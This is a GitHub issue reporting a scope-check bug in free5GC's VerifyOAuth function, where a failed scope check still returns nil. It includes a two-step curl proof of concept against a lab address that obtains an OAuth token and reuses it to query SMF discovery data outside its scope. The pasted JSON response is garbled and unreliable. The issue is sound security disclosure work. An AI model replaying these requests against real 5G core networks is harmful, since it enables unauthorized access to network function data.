Skip to content

severe bug in the VerifyOAuth function in https://github.com/free5gc/openapi/blob/main/oauth/oauth.go #62

@agl-c

Description

@agl-c

Bug Decription

I found a bug in the free5gc source code related to error handling in the VerifyOAuth function.

The relevant code snippet is in openapi/oauth/oauth.go: link at https://github.com/free5gc/openapi/blob/main/oauth/oauth.go

func VerifyOAuth(

​ authorization, serviceName, certPath string,

) error {

​ ....

​ token, err := jwt.ParseWithClaims(...)

​ ....

​ if !verifyScope(token.Claims.(*models.AccessTokenClaims).Scope, serviceName) {

​ return errors.Wrapf(err, "verify OAuth scope")

​ }

​ return nil

}

The issue occurs in the following line: return errors.Wrapf(err, "verify OAuth scope")

In this context, err is the result of jwt.ParseWithClaims, not of the verifyScope check. Therefore, if verifyScope returns false, indicating that the access token does not have the required scope, the err variable may still be nil (assuming the JWT parsing succeeded). This leads to a situation where the function incorrectly returns nil, silently ignoring the failed scope verification.

To Reproduce

Here is an example demo to exploit the bug,

  1. use the curl command to get an access token:

curl --location 'http://10.100.200.4:8000/nnrf-disc/v1/nf-instances?target-nf-oauth2/token' --header 'Content-Type: application/x-www-form-urlencoded' --data-urlencode 'grant_type=client_credentials' --data-urlencode 'nfInstanceId=08f5bb39-eb54-4f35-a616-926d22f88253' --data-urlencode 'nfType=AMF' --data-urlencode 'targetNfType=UDR' --data-urlencode 'scope=nudr-dr'

And we got the token:

{"access_token":"eyJhbGciOiJSUzUxMiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiIiLCJzdWIiOiIwOGY1YmIzOS1lYjU0LTRmMzUtYTYxNi05MjZkMjJmODgyNTMiLCJhdWQiOiIiLCJzY29wZSI6Im51ZHItZHIiLCJleHAiOjE3NTQ0Mjk5ODMsImlhdCI6MTc1NDQyODk4M30.esTqk6v_oKWFCDWCsrQNmNdm8591bbEFureRJgXTqC8lw9kySGnRcIHynrQK0MFG9aXTGjYZRlN05QRRhXg6NcpwlbUgFNUEcsWW1n8htp7c33v8IRx3DFGDx5Hs8NH_xzlr3gXvwAh4np5kAV6aXORmgnUbaadKUlqEvjXl-FSJKF-MpuJALmKIpB_L3ruOV3U_-QM6zecffF0VQeqVKvx_QwYysMOau5B925wyCzSsKqjfq3BtptMT9-T_QmLlZv3Okbmt7QbBaIZLtLt5DM8MpS1OEDta9ua0h89PNOP3HcCJmpJQodepikRUtqYFg5oiC7Jnryn4ZrWHCu7-fw","token_type":"Bearer","expires_in":1000,"scope":"nudr-dr"}

  1. Then we use the token to request other services with requester-nf-type and target-nf-type not matching those inside the token:

curl --location 'http://10.100.200.4:8000/nnrf-disc/v1/nf-instances?target-nf-type=SMF&requester-nf-type=nnrf-disc/v1/nf-instances?target-nf-type=SMF&requester-nf-type=UDR' --header 'Authorization: Bearer eyJhbGciOiJSUzUxMiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiIiLCJzdWIiOiIwOGY1YmIzOS1lYjU0LTRmMzUtYTYxNi05MjZkMjJmODgyNTMiLCJhdWQiOiIiLCJzY29wZSI6Im51ZHItZHIiLCJleHAiOjE3NTQ0Mjk5ODMsImlhdCI6MTc1NDQyODk4M30.esTqk6v_oKWFCDWCsrQNmNdm8591bbEFureRJgXTqC8lw9kySGnRcIHynrQK0MFG9aXTGjYZRlN05QRRhXg6NcpwlbUgFNUEcsWW1n8htp7c33v8IRx3DFGDx5Hs8NH_xzlr3gXvwAh4np5kAV6aXORmgnUbaadKUlqEvjXl-FSJKF-MpuJALmKIpB_L3ruOV3U_-QM6zecffF0VQeqVKvx_QwYysMOau5B925wyCzSsKqjfq3BtptMT9-T_QmLlZv3Okbmt7QbBaIZLtLt5DM8MpS1OEDta9ua0h89PNOP3HcCJmpJQodepikRUtqYFg5oiC7Jnryn4ZrWHCu7-fw'

Now since there are bugs in the oauth code, we still have the response of that service, although we provided a token with scopes not matching the current request:

{"validityPeriod":100,"nfInstances":[{"n97-eb760f32ab8f","nfType":"SMF","nfStatu"208","mnc":"93"}],"sNssais":[{"sst":1,""}],"ipv4Addresses":["smf.free5gc.org"],aiSmfInfoList":[{"sNssai":{"sst":1,"sd":"internet"}]},{"sNssai":{"sst":1,"sd":"1nternet"}]}]},"customInfo":{"oauth2":trud":"522c704a-779d-4bd0-a997-eb760f32ab8ff-pdusession","versions":[{"apiVersionIn/smf.free5gc.org:8000/nsmf-pdusession/v1956225Z"}],"scheme":"https","nfServiceStp://smf.free5gc.org:8000"},{"serviceInst760f32ab8fnsmf-event-exposure","serviceNs":[{"apiVersionInUri":"v1","apiFullVersnsmf-pdusession/v1","expiry":"2025-07-17ttps","nfServiceStatus":"REGISTERED","ap00"},{"serviceInstanceId":"522c704a-779derviceName":"nsmf-oam","versions":[{"api:"https://smf.free5gc.org:8000/nsmf-pdus45:17.601956225Z"}],"scheme":"https","nffix":"http://smf.free5gc.org:8000/"}]}]}

Expected Behavior

The error should be created as a new variable so that the function can return an error when verifyScope fails.

Screenshots

Image

I customized the code, adding logs to track the call chain, and it clearly shows that when verifyScope fails, still a NIL error value is returned in the buggy function.

Environment

should be the same as Riccardo

  • free5GC Version: v4.0.0
  • OS: Ubuntu 24.04 LTS
  • Kernel version: 6.8.0-63-generic
  • go version: go1.21.8 linux/amd64

Trace Files

Configuration Files

[configs.zip](configs.zip) We used the default configuration files from the https://github.com/free5gc/free5gc-compose, but we didn't launch some UERANISIM-related network function container instances.

PCAP File

bug1.txt

Log File

Image

I customized the code, adding logs to track the call chain, and it clearly shows that when verifyScope fails, still a NIL error value is returned in the buggy function.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions